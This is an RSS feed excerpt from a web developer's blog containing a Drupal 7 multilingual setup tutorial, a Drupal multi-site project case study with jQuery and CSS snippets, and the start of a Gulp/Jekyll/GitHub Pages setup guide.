&lt;h2&gt;Related resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/Style/CSS/specs.en.html&quot;&gt;CSS specifications&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://html.spec.whatwg.org/&quot;&gt;HTML Living Standard&lt;/a&gt; (&lt;em&gt;Link updated on 9 May 2016 after &lt;a href=&quot;http://hendry.iki.fi/&quot;&gt;Kai Hendry&lt;/a&gt; pointed out this is the canonical reference. Read &lt;a href=&quot;http://developer.telerik.com/featured/w3c-vs-whatwg-html5-specs-differences-documented/&quot;&gt;W3C vs. WHATWG HTML5 Specs – The Differences&lt;/a&gt; if interested.&lt;/em&gt;)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/&quot;&gt;Mozilla Developer Network&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/&quot;&gt;How Browsers Work: Behind the scenes of modern web browsers&lt;/a&gt; by &lt;a href=&quot;http://taligarsiel.com/&quot;&gt;Tali Garsiel&lt;/a&gt; (&lt;em&gt;The best primer on how browsers work&lt;/em&gt;)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.dailymotion.com/video/x3qs3lz&quot;&gt;How browsers work internally&lt;/a&gt; by &lt;a href=&quot;http://taligarsiel.com/&quot;&gt;Tali Garsiel&lt;/a&gt; (&lt;em&gt;Conference talk at Front Trends 2012&lt;/em&gt;)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://alistapart.com/article/dao&quot;&gt;A Dao of Web Design&lt;/a&gt; by &lt;a href=&quot;http://www.johnfallsopp.com/&quot;&gt;John Allsopp&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://alistapart.com/article/responsive-web-design&quot;&gt;Responsive Web Design&lt;/a&gt; by &lt;a href=&quot;http://ethanmarcotte.com/&quot;&gt;Ethan Marcotte&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.elliotjaystocks.com/blog/web-designers-who-cant-code/&quot;&gt;Web designers who can’t code&lt;/a&gt; by &lt;a href=&quot;http://www.elliotjaystocks.com/&quot;&gt;Elliot Jay Stocks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Fun reads&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20160308120551/http://www.philsoc.org/2001Spring/2132transcript.html&quot;&gt;The Human Computer and the Birth of the Information Age&lt;/a&gt; by &lt;a href=&quot;http://www.dagrier.net/&quot;&gt;David Alan Grier&lt;/a&gt; &lt;em&gt;Try to get your hands on the original paper&lt;/em&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;&amp;#x1F913;&lt;/span&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://press.princeton.edu/titles/7999.html&quot;&gt;When Computers were Human&lt;/a&gt; by &lt;a href=&quot;http://www.dagrier.net/&quot;&gt;David Alan Grier&lt;/a&gt; (&lt;em&gt;The story of computation before the invention of the computer&lt;/em&gt;)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/People/Berners-Lee/Weaving/Overview.html&quot;&gt;Weaving the Web&lt;/a&gt; by &lt;a href=&quot;https://www.w3.org/People/Berners-Lee/&quot;&gt;Tim Berners-Lee&lt;/a&gt; (&lt;em&gt;The origins of the web as told by the creator himself&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://abookapart.com/products/design-for-real-life&quot;&gt;Design for Real Life&lt;/a&gt; by &lt;a href=&quot;https://www.sarawb.com/&quot;&gt;Sara Wachter-Boettcher&lt;/a&gt; and &lt;a href=&quot;http://meyerweb.com/&quot;&gt;Eric Meyer&lt;/a&gt; (&lt;em&gt;Principles for inclusive design&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://www.midphase.com/blog/can-technology-change-the-way-we-speak/&quot;&gt;Midphase Blog&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Setting up basic i18n</title><link>https://chenhuijing.com/blog/drupal-101-setting-up-i18n/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-setting-up-i18n/</guid><description>One of the best things about Drupal is its robust multilingual support. If you need to build a website that supports multiple languages, Drupal should…</description><pubDate>Wed, 13 Apr 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One of the best things about Drupal is its robust multilingual support. If you need to build a website that supports multiple languages, Drupal should definitely be an option to consider.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;Required modules&lt;/strong&gt;
&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Locale &lt;em&gt;(core module)&lt;/em&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Content translation &lt;em&gt;(core module)&lt;/em&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/i18n&quot;&gt;Internationalization&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://www.drupal.org/project/variable&quot;&gt;Variable&lt;/a&gt;&lt;em&gt; (dependency for Internationalization)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Making your site multi-lingual&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install and enable the required modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en i18n i18n_node -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will enable i18n and its dependencies. The i18n module comes with a number of sub-modules, which you can enable based on your requirements. For now, just enable &lt;code&gt;i18n_node&lt;/code&gt; for content translation. Go &lt;a href=&quot;http://evolvingweb.ca/story/drupal-7-multilingual-whats-new-i18n&quot;&gt;here&lt;/a&gt; for a comprehensive write-up of all the sub-modules.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to &lt;code&gt;admin/config/regional/language&lt;/code&gt; and add the languages you want to support. You can select from a list of predefined languages as well as add your own custom language.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-i18n/add-lang-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/add-lang-480.jpg 480w, /images/posts/drupal-i18n/add-lang-640.jpg 640w, /images/posts/drupal-i18n/add-lang-960.jpg 960w, /images/posts/drupal-i18n/add-lang-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Add language&quot;
/&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can add as many languages as you need to support, and manage them from the &lt;em&gt;Languages&lt;/em&gt; admin interface.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-i18n/lang-list-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/lang-list-480.jpg 480w, /images/posts/drupal-i18n/lang-list-640.jpg 640w, /images/posts/drupal-i18n/lang-list-960.jpg 960w, /images/posts/drupal-i18n/lang-list-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;List of languages&quot;
/&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There are several options for accessing each of the translated versions of the site. The most common method is via URL, either by domain or by path prefix, and Drupal 7, out-of-the-box, supports both these options.
&lt;img
  src=&quot;/images/posts/drupal-i18n/lang-select-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/lang-select-480.jpg 480w, /images/posts/drupal-i18n/lang-select-640.jpg 640w, /images/posts/drupal-i18n/lang-select-960.jpg 960w, /images/posts/drupal-i18n/lang-select-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Language options&quot;
/&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Translating content&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;If you started out on a brand new site with no content, then this issue won&apos;t apply to you, but if your site already had content before you turned on multi-lingual support, you may see your existing content being assigned as &lt;em&gt;Language neutral&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Every content type, by default, has multilingual support turned off. Changing this to &lt;em&gt;Enabled&lt;/em&gt; will give you the option to set the default language for a particular piece of content, while changing it to &lt;em&gt;Enabled, with translation&lt;/em&gt; will add a &lt;em&gt;Translate&lt;/em&gt; tab when you&apos;re editing that piece of content.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Enable content translation&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/drupal-i18n/enable-content.jpg&quot;
      srcset=&quot;/images/posts/drupal-i18n/enable-content@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Additional translate tab&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/drupal-i18n/trns-content.jpg&quot;
      srcset=&quot;/images/posts/drupal-i18n/trns-content@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;The &lt;em&gt;Translate&lt;/em&gt; tab shows all the translations of a particular piece of content. Each translation is a separate node, but they are all recognised as translations of the source content by a &lt;code&gt;tnid&lt;/code&gt; in the database.
&lt;img
  src=&quot;/images/posts/drupal-i18n/translate-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/translate-480.jpg 480w, /images/posts/drupal-i18n/translate-640.jpg 640w, /images/posts/drupal-i18n/translate-960.jpg 960w, /images/posts/drupal-i18n/translate-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Translate interface&quot;
/&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Translating other parts of the site&lt;/h2&gt;
&lt;p&gt;There&apos;s a lot more content that requires translation other than just plain content from nodes, from menus, to taxonomy terms to views and that&apos;s the reason there are so many sub-modules for the i18n module. The translation functionality has been modularised in this manner for ease of customisation.&lt;/p&gt;
&lt;p&gt;Translation is always tricky to implement, and there are certain gotchas that may trip you up, especially if your site is more complicated. Trust me, I&apos;ve been there so I wrote up a couple of &lt;a href=&quot;/blog/the-one-in-many-languages/#translation-gotchas&quot;&gt;translation gotchas&lt;/a&gt; from a previous project.&lt;/p&gt;
&lt;h3&gt;Menu translation&lt;/h3&gt;
&lt;p&gt;Activating this sub-module will turn on &lt;em&gt;Translation sets&lt;/em&gt; as well, and you will see additional &lt;em&gt;Translate&lt;/em&gt; tabs and &lt;em&gt;Multilingual options&lt;/em&gt; interfaces when you edit your menus.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-i18n/translate-menu-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/translate-menu-480.jpg 480w, /images/posts/drupal-i18n/translate-menu-640.jpg 640w, /images/posts/drupal-i18n/translate-menu-960.jpg 960w, /images/posts/drupal-i18n/translate-menu-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Translate menu&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;Setting your menus to &lt;em&gt;Translate and localise&lt;/em&gt; let&apos;s you translate the menu links and they will appear in their respective languages specified, if a translation was provided.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-i18n/translate-menu2-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/translate-menu2-480.jpg 480w, /images/posts/drupal-i18n/translate-menu2-640.jpg 640w, /images/posts/drupal-i18n/translate-menu2-960.jpg 960w, /images/posts/drupal-i18n/translate-menu2-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Translate menu options&quot;
/&gt;&lt;/p&gt;
&lt;h3&gt;Taxonomy translation&lt;/h3&gt;
&lt;p&gt;Turning this sub-module on allows you to provide translations for your taxonomy terms. The difference between &lt;em&gt;localise&lt;/em&gt; and &lt;em&gt;translate&lt;/em&gt; is that localisation uses the same taxonomy ID across languages while translating creates a new taxonomy term altogether.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-i18n/taxonomy-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/taxonomy-480.jpg 480w, /images/posts/drupal-i18n/taxonomy-640.jpg 640w, /images/posts/drupal-i18n/taxonomy-960.jpg 960w, /images/posts/drupal-i18n/taxonomy-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Translate taxonomy&quot;
/&gt;&lt;/p&gt;
&lt;h3&gt;Views translation&lt;/h3&gt;
&lt;p&gt;Views is an indispensable module for many sites and it is possible to translate every part of your content created from views. It is also possible to filter your views content based on language so if a particular piece of content does not have a corresponding translation, it will not show up in the view.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-i18n/translate-view-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/translate-view-480.jpg 480w, /images/posts/drupal-i18n/translate-view-640.jpg 640w, /images/posts/drupal-i18n/translate-view-960.jpg 960w, /images/posts/drupal-i18n/translate-view-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Translate views option&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;The translate views interface lets you translate elements that are generated by views like buttons, links and custom content entered into the views header or footer.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-i18n/translate-view2-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/translate-view2-480.jpg 480w, /images/posts/drupal-i18n/translate-view2-640.jpg 640w, /images/posts/drupal-i18n/translate-view2-960.jpg 960w, /images/posts/drupal-i18n/translate-view2-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Translate views interface&quot;
/&gt;&lt;/p&gt;
&lt;h3&gt;String translation&lt;/h3&gt;
&lt;p&gt;This sub-module allows you to translate user-defined strings. Depending on which other sub-modules are enabled (e.g. menu or panels or views), different sets of texts are made available to be translated.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-i18n/translate-string-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/translate-string-480.jpg 480w, /images/posts/drupal-i18n/translate-string-640.jpg 640w, /images/posts/drupal-i18n/translate-string-960.jpg 960w, /images/posts/drupal-i18n/translate-string-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Translate strings interface&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;You will be able to see the original string, and enter an appropriate translation to that string.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-i18n/translate-string2-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-i18n/translate-string2-480.jpg 480w, /images/posts/drupal-i18n/translate-string2-640.jpg 640w, /images/posts/drupal-i18n/translate-string2-960.jpg 960w, /images/posts/drupal-i18n/translate-string2-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Translate a string&quot;
/&gt;&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This post has merely skimmed the surface of building a multi-lingual site with Drupal, and if your project requires a multi-lingual implementation, Drupal is definitely an option worth considering. It may not be perfect, but it does the job reasonably well compared to its competition.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://evolvingweb.ca/story/drupal-7-multilingual-whats-new-i18n&quot;&gt;Drupal 7 Multilingual: What’s new in i18n&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.drupal.org/resource-guides/configuring-multilingual-site&quot;&gt;Resource Guide: Configuring a Multilingual Site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>The one with lots of poultry</title><link>https://chenhuijing.com/blog/the-one-with-lots-of-poultry/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-with-lots-of-poultry/</guid><description>Most of the projects I worked on in 2015 were either Facebook applications (yes, somehow those are still being made) or based on the Base Framework. I didn&apos;t…</description><pubDate>Wed, 13 Apr 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Most of the projects I worked on in 2015 were either Facebook applications (yes, somehow those are still being made) or based on the &lt;a href=&quot;/blog/intro-to-base-framework/&quot;&gt;Base Framework&lt;/a&gt;. I didn&apos;t think there&apos;d be much opportunity for me to work with Drupal for client sites moving forward but I was wrong. After almost 6 Drupal-free months, we got a client request to build their website in Drupal. Guess who was put in charge of that project? &lt;span class=&quot;emoji&quot;&gt;😎&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/sadia/sadia-640.jpg&quot;
  srcset=&quot;/images/posts/sadia/sadia-480.jpg 480w, /images/posts/sadia/sadia-640.jpg 640w, /images/posts/sadia/sadia-960.jpg 960w, /images/posts/sadia/sadia-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Sadia chicken&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;Sadia is an international food company which specialises in chilled and frozen foods. We were engaged to create regional websites for Sadia Singapore and Sadia Hong Kong. On the surface this project didn&apos;t seem overly-complicated. Each site would have country-specific domain names.&lt;/p&gt;
&lt;p&gt;The Hong Kong site would be a multi-lingual implementation but the Singapore site would be single language. In the initial brief, both sites would have almost the same content, but as requirements were being clarified, it seemed that the amount of shared content was much less than initially expected.&lt;/p&gt;
&lt;h2&gt;Decisions...decisions...&lt;/h2&gt;
&lt;p&gt;Based on my prior experience with the &lt;a href=&quot;/blog/the-one-on-the-tightest-of-deadlines/&quot;&gt;Xinmsn&lt;/a&gt; project, I knew that it would be important to make the correct architectural call at the start of the project. And after thinking through the requirements, plus some discussion with the team, we decided to go with a multi-site implementation with separate databases but a single code-base.&lt;/p&gt;
&lt;p&gt;This meant maintenance of 2 separate sites, one for Sadia Singapore, which would be a mono-lingual English site, and one for Sadia Hong Kong, a bi-lingual English/Chinese site. The English language content for both sites would be almost identical, and I understood this meant a duplication of effort for the content creators but this was a con we could live with.&lt;/p&gt;
&lt;h2&gt;Developing a multi-site implementation&lt;/h2&gt;
&lt;p&gt;I set up my local machine using &lt;a href=&quot;http://www.thekelleys.org.uk/dnsmasq/doc.html&quot;&gt;dnsmasq&lt;/a&gt; so all the folders in my &lt;em&gt;Sites&lt;/em&gt; folder, if require an AMP stack, can be accessed just by appending a &lt;code&gt;.dev&lt;/code&gt; behind the folder name. There&apos;s probably some configuration I could do to have the configuration point to the subdirectories of the 2 sites but I didn&apos;t take the time to research it and just manually changed the database in the default &lt;code&gt;settings.php&lt;/code&gt; file if I needed to switch sites.&lt;/p&gt;
&lt;p&gt;Admittedly not my finest solution, but you know, pros and cons. My local machine setup is kinda unorthodox to begin with, so it&apos;s my own cross to bear here. To get the multi-site setup to work on a &lt;a href=&quot;https://www.drupal.org/docs/7/multisite-drupal/configuring-a-basic-multi-site-development-environment-in-linux&quot;&gt;remote Linux server&lt;/a&gt;, however, was much easier to get working.&lt;/p&gt;
&lt;p&gt;Translation was a bit of a chore because there is no way (at least, that I know of) to ensure everything that needed to be translated was covered other than manual checking. So kudos to the project manager who had to do that. If you&apos;re interested in multi-lingual Drupal, I have an &lt;a href=&quot;/blog/drupal-101-setting-up-i18n&quot;&gt;earlier post&lt;/a&gt; covering that, as well as a &lt;a href=&quot;/blog/the-one-in-many-languages&quot;&gt;previous project write-up&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Site-building and theming&lt;/h2&gt;
&lt;p&gt;The site&apos;s requirements weren&apos;t over-the-top, so mostly different configurations of the views of various content types put together with panels. Additional helper modules like Better Exposed Filters and Field Collection were used for specific features.&lt;/p&gt;
&lt;p&gt;For example, there was a requirement to have an accordion-style FAQ section, so rather than installing some module to create that, I utilised &lt;a href=&quot;https://www.drupal.org/project/field_collection&quot;&gt;Field Collection&lt;/a&gt; to structure the mark-up in a way so I could write the accordion functionality myself.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// Accordion functionality
$(&amp;quot;.field-collection-item-field-accordion-content&amp;quot;).first().addClass(&amp;quot;active&amp;quot;);
$(&amp;quot;.field-collection-item-field-accordion-content:not(.active)&amp;quot;)
  .find(&amp;quot;.field-name-field-accordion-body&amp;quot;)
  .hide();
$(&amp;quot;.field-name-field-accordion-title&amp;quot;).click(function (e) {
  e.preventDefault();
  e.stopPropagation();
  if (!$(this).parent().parent().hasClass(&amp;quot;active&amp;quot;)) {
    $(&amp;quot;.field-collection-item-field-accordion-content&amp;quot;).removeClass(&amp;quot;active&amp;quot;);
    $(this).parent().parent().addClass(&amp;quot;active&amp;quot;);
    $(&amp;quot;.field-collection-item-field-accordion-content&amp;quot;)
      .find(&amp;quot;.field-name-field-accordion-body&amp;quot;)
      .slideUp();
    $(this).parent().next().children().slideDown();
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I know it&apos;s jQuery, but Drupal comes with it, so it&apos;s not like I can remove it. If it&apos;s there, I&apos;m just going to use it. Don&apos;t judge me.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Designers seem to like this.&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/sadia-accordion.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/sadia-accordion.mp4&quot;&gt;download it&lt;/a&gt;and watch it
    with your favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;a href=&quot;https://www.drupal.org/project/better_exposed_filters&quot;&gt;Better Exposed Filters&lt;/a&gt; is one of those modules I wish was built into Views by default, because sometimes I do want fancier options for my filter UI, and this allows me to use radio buttons or checkboxes instead of the default select dropdown.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Impossible without BEF.&lt;/figcaption&gt;
  &lt;img
  src=&quot;/images/posts/sadia/bef-640.jpg&quot;
  srcset=&quot;/images/posts/sadia/bef-480.jpg 480w, /images/posts/sadia/bef-640.jpg 640w, /images/posts/sadia/bef-960.jpg 960w, /images/posts/sadia/bef-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Fancy filters&quot;
/&gt;
&lt;/figure&gt;
&lt;p&gt;Also, checkout that nifty little arrow like triangle on the image. That&apos;s &lt;code&gt;clip-path&lt;/code&gt; in action, folks! Yay to CSS. Just wanted to put that out there.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;clip-path: polygon(0 0, 0 100%, 95% 100%, 95% 67%, 100% 50%, 95% 33%, 95% 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if you want to have country flags next to your language switcher, the module you&apos;re looking for is &lt;a href=&quot;https://www.drupal.org/project/languageicons&quot;&gt;Language Icons&lt;/a&gt; in addition to &lt;a href=&quot;https://www.drupal.org/project/lang_dropdown&quot;&gt;Language Switcher Dropdown&lt;/a&gt;. If you&apos;re not happy with the default set of icons, you can always add your own and point the module to use that set instead.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Language switching refreshes the page.&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/sadia-lang.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/sadia-lang.mp4&quot;&gt;download it&lt;/a&gt;and watch it with
    your favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Okay, full disclosure, this case study was so long overdue that I pretty much forgot most of what I did already. Whatever is written here is what I could piece together from my fragmented memory and doing some view source investigation. Moral of the story is, don&apos;t put off writing your project case studies. Remember, memory is more like bread than wine.&lt;/p&gt;
</content:encoded></item><item><title>Gulp, Jekyll and GitHub (pages)</title><link>https://chenhuijing.com/blog/gulp-jekyll-github/</link><guid isPermaLink="true">https://chenhuijing.com/blog/gulp-jekyll-github/</guid><description>After more than a year with Jekyll, I&apos;ve settled into a workflow that allows me to spin up and develop new sites really quickly with the help of gulp. Normally…</description><pubDate>Sun, 10 Apr 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After more than a year with Jekyll, I&apos;ve settled into a workflow that allows me to spin up and develop new sites really quickly with the help of gulp. Normally my sites are project pages, because GitHub only allows one user/organisation page but unlimited project pages, but the setup process only differs slightly for the two. An additional step is needed to create an orphan &lt;code&gt;gh-pages&lt;/code&gt; branch for project pages.&lt;/p&gt;
&lt;p&gt;As an aside, I couldn&apos;t help but think of Snap, Crackle and Pop when writing the title for this post.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/github-jekyll/scp-640.jpg&quot;
  srcset=&quot;/images/posts/github-jekyll/scp-480.jpg 480w, /images/posts/github-jekyll/scp-640.jpg 640w, /images/posts/github-jekyll/scp-960.jpg 960w, /images/posts/github-jekyll/scp-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Snap, Crackle, Pop&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;Snap, Crackle, Pop.&lt;/p&gt;
&lt;p&gt;Gulp, Jekyll, GitHub.&lt;/p&gt;
&lt;p&gt;What do you mean no link? Am I the only one who sees the connection? Oh, never mind. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Setting up the GitHub repository&lt;/h2&gt;
&lt;p&gt;This example will use &lt;a href=&quot;https://github.com/SingaporeCSS&quot;&gt;SingaporeCSS&lt;/a&gt; as the organisation. Replace &lt;em&gt;singaporecss&lt;/em&gt; with your own user name or organisation name.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create a repository called &lt;em&gt;&lt;a href=&quot;http://singaporecss.github.io&quot;&gt;singaporecss.github.io&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open the terminal, navigate to the sites folder and clone the newly created repository.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/singaporecss/singaporecss.github.io
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To test that the repository was set up correctly, navigate into the project folder and create a test &lt;code&gt;index.html&lt;/code&gt; file.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd singaporecss.github.io
echo &amp;quot;This be the Talk.CSS website&amp;quot; &amp;gt; index.html
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Commit the file and push it up.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git add --all
git commit -m &amp;quot;Initial commit&amp;quot;
git push -u origin master
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Navigate to &lt;em&gt;&lt;a href=&quot;http://singaporecss.github.io&quot;&gt;http://singaporecss.github.io&lt;/a&gt;&lt;/em&gt; and check the page. Whatever was put in the &lt;code&gt;index.html&lt;/code&gt; file should load up in the browser.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Something like this.&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talk-css/initial-commit.jpg&quot;
    srcset=&quot;/images/posts/talk-css/initial-commit@2x.jpg 2x&quot;
    alt=&quot;Test index.html file&quot;
  /&gt;
&lt;/figure&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now that things are linked up correctly, it&apos;s time to get building. The test &lt;code&gt;index.html&lt;/code&gt; can be nuked now.&lt;/p&gt;
